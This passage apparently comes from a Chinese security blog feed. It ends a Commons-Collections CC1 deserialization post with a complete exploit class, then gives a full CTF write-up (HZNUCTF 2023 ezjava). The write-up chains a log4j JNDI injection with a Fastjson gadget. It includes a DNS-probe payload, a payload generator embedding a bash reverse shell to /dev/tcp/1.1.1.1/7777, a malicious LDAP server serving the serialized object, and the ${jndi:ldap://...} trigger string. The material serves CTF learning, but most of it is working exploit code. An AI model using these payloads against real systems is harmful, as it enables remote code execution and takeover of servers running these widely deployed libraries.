java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line"><span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> constructor.newInstance(Target.class, decorate);</span><br></pre></td></tr></table></figure></div><p>这里通过反射创建了 <code>AnnotationInvocationHandler</code>  的实例，并传入了目标类和经过装饰的 <code>Map</code> 。当该对象被序列化或反序列化时，恶意代码将被执行。</p><p><strong>5. 序列化与反序列化</strong>： 最后，将构造出的对象序列化到文件中，并在反序列化时，通过 <code>chainedTransformer</code>  的执行链，最终执行 <code>Runtime.exec(&quot;calc&quot;)</code> 。</p><p>但是这里反序列化并不能执行命令，why？原因在于 <code>AnnotationInvocationHandler</code>  里触发 setValue 是有条件的，我们调试追踪进去看看：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181103177.png" alt="image-20240918110301122"></p><p>要想触发 setValue 得先过两个 if 判断，先看第一个 if 判断，memberType 不能为 null，memberType 其实就是我们之前传入的注解类 Target 的一个属性，这个属性哪里来的？就是我们最先传入的 map  <code>map.put(&quot;1&quot;,&quot;2&quot;)</code> <br> 获取这个 name：1，获取 1 这个属性，很明显我们的 Target 注解类是没有 1 这个属性的，我们看一下 Target 类</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181105276.png" alt="image-20240918110542237"></p><p>Target 是有 value 这个属性的，所以我们改一下 map， <code>map.put(&quot;value&quot;, 1)</code> ，这样就过了第一个 if，接着往下看第二个 if，这里 value 只要有值就过了，成功到达 setValue，但这里还有最后一个问题，如何让他调用 Runtime.class？这里又得提到一个类， <code>ConstantTransformer</code> , 这个类的特点就是我们传入啥，它直接就返回啥</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181109872.png" alt="image-20240918110906822"></p><p>这样就能构造最终的 exp：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.Fc0;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.xml.internal.ws.encoding.MtomCodec;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;cc1.bin&quot;</span>);</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deserialize</span><span class="params">(String filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(filename);</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line">        ois.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        map.put(<span class="string">&quot;value&quot;</span>,<span class="string">&quot;1&quot;</span>);</span><br><span class="line">        Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(map, <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> constructor.newInstance(Target.class, decorate);</span><br><span class="line">        serialize(o);</span><br><span class="line">        deserialize(<span class="string">&quot;cc1.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181110629.png" alt="image-20240918111016503"></p><p>以上是其中一条 CC1，还有另一条 CC1，是从 LazyMap 入手，我们也来分析一下，在 LazyMap 的 get 方法里调用了 transform</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181113680.png" alt="image-20240918111305638"></p><p>看构造方法，factory 需要我们控制，同样在类内部找哪里调用了这个构造方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181116474.png" alt="image-20240918111631428"></p><p>很明显，跟之前基本相似，就是从 checkValue 换到了 get</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181117848.png" alt="image-20240918111708814"></p><p>那么 get 在哪调用的，还是在 <code>AnnotationInvocationHandler</code> ，它的 invoke 方法调用了 get</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181119282.png" alt="image-20240918111940219"></p><p>这里是个动态代理，我们可以用 <code>AnnotationInvocationHandler</code>  来代理 LazyMap，这样就会触发 invoke 方法，构造一下 exp（基本大差不差）：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181121444.png" alt="image-20240918112107326"></p><h3 id="完整利用连"><a class="markdownIt-Anchor" href="#完整利用连">#</a> 完整利用连:</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">ObjectInputStream.readObject()</span><br><span class="line">            AnnotationInvocationHandler.readObject()</span><br><span class="line">                Map(Proxy).entrySet()</span><br><span class="line">                    AnnotationInvocationHandler.invoke()</span><br><span class="line">                        LazyMap.get()</span><br><span class="line">                            ChainedTransformer.transform()</span><br><span class="line">                                ConstantTransformer.transform()</span><br><span class="line">                                InvokerTransformer.transform()</span><br><span class="line">                                    Method.invoke()</span><br><span class="line">                                        Class.getMethod()</span><br><span class="line">                                InvokerTransformer.transform()</span><br><span class="line">                                    Method.invoke()</span><br><span class="line">                                        Runtime.getRuntime()</span><br><span class="line">                                InvokerTransformer.transform()</span><br><span class="line">                                    Method.invoke()</span><br><span class="line">                                        Runtime.exec()</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;cc1链&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#cc1链&quot;&gt;#&lt;/a&gt; CC1 链&lt;/h2&gt;
&lt;h3 id=&quot;commons-collections&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#co</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>HZNUCTF 2023 final | ezjava WP</title>
    <link href="http://example.com/2024/09/17/HZNUCTF-2023-final-ezjava-WP/"/>
    <id>http://example.com/2024/09/17/HZNUCTF-2023-final-ezjava-WP/</id>
    <published>2024-09-17T06:50:00.000Z</published>
    <updated>2024-09-17T07:05:37.359Z</updated>
    
    <content type="html"><![CDATA[<h2 id="hznuctf-2023-finalezjava"><a class="markdownIt-Anchor" href="#hznuctf-2023-finalezjava">#</a> [HZNUCTF 2023 final]ezjava</h2><p>大体思路就是用 log4j 的远程代码执行漏洞来触发 jndi 注入，在 jndi 注入中触发 fastjson 1.2.48 的反序列化漏洞</p><p>dnslog 探测一下：</p><p>payload： <code>$&#123;jndi:dns://$&#123;sys:java.version&#125;.xtrkep.dnslog.cn&#125;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409171455060.png" alt="image-20240917145518953"></p><p>探测出 jdk 版本为 8u222，大于 8u191，因此不能直接 jndi 注入拿 shell，这就需要 hint 的 Fastjson 1.2.48 的反序列化漏洞了。</p><p>大致思路为：利用 LDAP 直接返回一个恶意的序列化对象，JNDI 注入对该序列化对象进行反序列化操作，利用反序列化来完成命令执行。那么这里我们就需要利用 LDAP 返回依赖 Fastjson 1.2.48 的序列化链</p><p>网上流传的都是 1.2.83 的通杀链，这里也就直接拿过来了：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSONArray;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> javassist.CtConstructor;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Fastjson83</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(Object obj, String name, Object value)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(name);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(obj, value);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] genPayload(String cmd) <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">clazz</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;a&quot;</span>);</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">superClass</span> <span class="operator">=</span> pool.get(AbstractTranslet.class.getName());</span><br><span class="line">        clazz.setSuperclass(superClass);</span><br><span class="line">        <span class="type">CtConstructor</span> <span class="variable">constructor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CtConstructor</span>(<span class="keyword">new</span> <span class="title class_">CtClass</span>[]&#123;&#125;, clazz);</span><br><span class="line">        constructor.setBody(<span class="string">&quot;Runtime.getRuntime().exec(\&quot;&quot;</span>+cmd+<span class="string">&quot;\&quot;);&quot;</span>);</span><br><span class="line">        clazz.addConstructor(constructor);</span><br><span class="line">        clazz.getClassFile().setMajorVersion(<span class="number">49</span>);</span><br><span class="line">        <span class="keyword">return</span> clazz.toBytecode();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> TemplatesImpl.class.newInstance();</span><br><span class="line">        setValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;genPayload(<span class="string">&quot;bash -c &#123;echo,&lt;bash -i &gt;&amp; /dev/tcp/1.1.1.1/7777 0&gt;&amp;1的base64编码&gt;&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;&quot;</span>)&#125;);<span class="comment">//这里需要更改</span></span><br><span class="line">        setValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;111&quot;</span>);</span><br><span class="line">        setValue(templates, <span class="string">&quot;_tfactory&quot;</span>, <span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">JSONArray</span> <span class="variable">jsonArray</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JSONArray</span>();</span><br><span class="line">        jsonArray.add(templates);</span><br><span class="line"></span><br><span class="line">        <span class="type">BadAttributeValueExpException</span> <span class="variable">bd</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="literal">null</span>);</span><br><span class="line">        setValue(bd,<span class="string">&quot;val&quot;</span>,jsonArray);</span><br><span class="line"></span><br><span class="line">        <span class="type">HashMap</span> <span class="variable">hashMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        hashMap.put(templates,bd);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">objectOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(byteArrayOutputStream);</span><br><span class="line">        objectOutputStream.writeObject(hashMap);</span><br><span class="line">        objectOutputStream.close();</span><br><span class="line">        <span class="type">byte</span>[] serialize = byteArrayOutputStream.toByteArray();</span><br><span class="line">        System.out.println(Base64.getEncoder().encodeToString(serialize));</span><br><span class="line"></span><br><span class="line"><span class="comment">//        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));</span></span><br><span class="line"><span class="comment">//        objectInputStream.readObject();</span></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>将这个的输出填写到 jndi 高版本绕过的脚本中：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServer;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryListenerConfig;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.Entry;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPResult;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.ResultCode;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.net.ServerSocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.net.SocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.net.ssl.SSLSocketFactory;</span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="comment">//高版本LDAP绕过</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LDAPServer</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LDAP_BASE</span> <span class="operator">=</span> <span class="string">&quot;dc=example,dc=com&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span> <span class="params">( String[] tmp_args )</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        String[] args=<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;http://localhost/#Evail&quot;</span>&#125;;</span><br><span class="line">        <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> <span class="number">6666</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">InMemoryDirectoryServerConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServerConfig</span>(LDAP_BASE);</span><br><span class="line">        config.setListenerConfigs(<span class="keyword">new</span> <span class="title class_">InMemoryListenerConfig</span>(</span><br><span class="line">                <span class="string">&quot;listen&quot;</span>, <span class="comment">//$NON-NLS-1$</span></span><br><span class="line">                InetAddress.getByName(<span class="string">&quot;0.0.0.0&quot;</span>), <span class="comment">//$NON-NLS-1$</span></span><br><span class="line">                port,</span><br><span class="line">                ServerSocketFactory.getDefault(),</span><br><span class="line">                SocketFactory.getDefault(),</span><br><span class="line">                (SSLSocketFactory) SSLSocketFactory.getDefault()));</span><br><span class="line"></span><br><span class="line">        config.addInMemoryOperationInterceptor(<span class="keyword">new</span> <span class="title class_">OperationInterceptor</span>(<span class="keyword">new</span> <span class="title class_">URL</span>(args[ <span class="number">0</span> ])));</span><br><span class="line">        <span class="type">InMemoryDirectoryServer</span> <span class="variable">ds</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServer</span>(config);</span><br><span class="line">        System.out.println(<span class="string">&quot;Listening on 0.0.0.0:&quot;</span> + port);</span><br><span class="line">        ds.startListening();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">OperationInterceptor</span> <span class="keyword">extends</span> <span class="title class_">InMemoryOperationInterceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> URL codebase;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">OperationInterceptor</span> <span class="params">( URL cb )</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.codebase = cb;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processSearchResult</span> <span class="params">( InMemoryInterceptedSearchResult result )</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">base</span> <span class="operator">=</span> result.getRequest().getBaseDN();</span><br><span class="line">            <span class="type">Entry</span> <span class="variable">e</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Entry</span>(base);</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                sendResult(result, base, e);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">catch</span> ( Exception e1 ) &#123;</span><br><span class="line">                e1.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">sendResult</span> <span class="params">( InMemoryInterceptedSearchResult result, String base, Entry e )</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">            <span class="type">URL</span> <span class="variable">turl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="built_in">this</span>.codebase, <span class="built_in">this</span>.codebase.getRef().replace(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;/&#x27;</span>).concat(<span class="string">&quot;.class&quot;</span>));</span><br><span class="line">            System.out.println(<span class="string">&quot;Send LDAP reference result for &quot;</span> + base + <span class="string">&quot; redirecting to &quot;</span> + turl);</span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaClassName&quot;</span>, <span class="string">&quot;foo&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">cbstring</span> <span class="operator">=</span> <span class="built_in">this</span>.codebase.toString();</span><br><span class="line">            <span class="type">int</span> <span class="variable">refPos</span> <span class="operator">=</span> cbstring.indexOf(<span class="string">&#x27;#&#x27;</span>);</span><br><span class="line">            <span class="keyword">if</span> ( refPos &gt; <span class="number">0</span> ) &#123;</span><br><span class="line">                cbstring = cbstring.substring(<span class="number">0</span>, refPos);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaSerializedData&quot;</span>, Base64.decode(<span class="string">&quot;&lt;上述脚本的输出&gt;&quot;</span>));</span><br><span class="line"></span><br><span class="line">            result.sendSearchEntry(e);</span><br><span class="line">            result.setResult(<span class="keyword">new</span> <span class="title class_">LDAPResult</span>(<span class="number">0</span>, ResultCode.SUCCESS));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>之后将其打包成 jar，上传到 vps 上边，直接运行的同时监听相应端口，然后在请求的 url 后添加如下图所示的 payload 即可：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;jndi:ldap://1.1.1.1:6666/Evail&#125;&lt;此处需要更改vps地址&gt;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409171505697.png" alt="35e34e50493cde6a7fa8017ce4d5168"></p>]]></content>
    
    
      
      
